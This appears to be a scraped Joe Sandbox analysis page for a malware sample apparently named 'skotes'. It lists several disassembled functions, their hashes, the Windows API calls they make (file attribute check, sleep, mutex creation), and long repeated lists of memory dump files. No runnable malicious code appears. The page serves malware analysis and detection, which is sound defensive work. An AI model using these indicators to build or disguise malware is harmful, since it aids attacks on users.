Instruction ID: dea80fdd5aca7170806a2bafefca9cd0a3d17a8732b11d725a79cedcd73b285e
Opcode Fuzzy Hash: 9c26f7bdbc0be3d61111c88e8215e1889b06448f6eb2dd0768d25e4a3ba79592
Instruction Fuzzy Hash: 52312A717042009BEB08DB78DC89BEEBFA2FBC6310F248218E155D73D6C77569818761

Function 005B9CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005B9CDD
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: 90513a66479d8b10087597687a9043a90af6c2d91dd3ed3a97ebd8794be045d8
Instruction ID: c242e0d344e7979d0a55ff6ea69069b9ad369921e4ef0d2dbcc8d41231626406
Opcode Fuzzy Hash: 90513a66479d8b10087597687a9043a90af6c2d91dd3ed3a97ebd8794be045d8
Instruction Fuzzy Hash: 433125317042408FEF089B68D888BEDBFA2FBC6310F248619E155E73D5C735A9808761

Function 005B9F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005B9F47
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: 08560dfb243d9a3e67c000acd5d6fa1c83c1913295c0da29672c9fdaaaed009c
Instruction ID: a87b4bec74526c69d5ff75dbabb8ca0a242ed8ce87a2c7bf2e4afbf3e866ae67
Opcode Fuzzy Hash: 08560dfb243d9a3e67c000acd5d6fa1c83c1913295c0da29672c9fdaaaed009c
Instruction Fuzzy Hash: 4B312A31704204DBEB08AB68D8897EDBFA2FBC5310F248619E055E72D5D77569808762

Function 005BA079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005BA07C
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: 86764ec74643591f2f0e92dd8480bb7c99cb1c8d98bad283594564df0b6adc7e
Instruction ID: 1ed1c7c9ad4ae83d3553ce5c188123f0e1435f3735d21cbc4c3aac27548d0f2f
Opcode Fuzzy Hash: 86764ec74643591f2f0e92dd8480bb7c99cb1c8d98bad283594564df0b6adc7e
Instruction Fuzzy Hash: 1C3113317041049BEB08AB68CC89BEDBFA2FBC2314F248219E015A73D5C776A980C662

Function 005BA1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005BA1B1
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2a
API String ID: 396266464-1127307969
Opcode ID: 86561f7c14af341770b1e8a7af7a056b2b1769deecdfa024c5dd04a004bf7d5c
Instruction ID: 304ac66ba15e38aa06dde614665c058e67a80b89de67e249f70f2e1ca1cc8b54
Opcode Fuzzy Hash: 86561f7c14af341770b1e8a7af7a056b2b1769deecdfa024c5dd04a004bf7d5c
Instruction Fuzzy Hash: CA3107317041419FFB089BACDC89BEDBFA2FBC6310F248619E055A73D5D77669808762

Function 005BA2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005BA2E6
Sleep.KERNEL32(00000064,?), ref: 005BA963
CreateMutexA.KERNEL32(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
